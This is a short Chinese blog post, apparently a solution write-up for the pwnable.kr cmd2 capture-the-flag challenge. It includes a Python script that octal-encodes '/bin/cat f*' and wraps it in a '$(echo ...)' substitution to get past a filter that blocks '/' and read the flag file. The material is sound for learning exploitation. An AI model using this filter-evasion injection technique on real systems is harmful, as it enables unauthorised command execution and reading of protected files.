pwnable 笔记 Toddler's Bottle - cmd2

这题过滤的条件更加严格了,增加了对/的过滤,也就是说输入目录都会被过滤掉,这样通过字符拼接绕过过滤就很难了

google了一下其他方法,发现可以把命令通过八进制编码,然后通过echo 命令输出

解题脚本:(放在/tmp下执行)

#!/usr/bin/python 

import subprocess
cmd = "/bin/cat f*"
encode = ""
for c in cmd:
    encode += "\\"+oct(ord(c))
# print encode
args = ["/home/cmd2/cmd2","$(echo \'" + encode + "\')"]
# print args[1]
subprocess.Popen(args)
 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章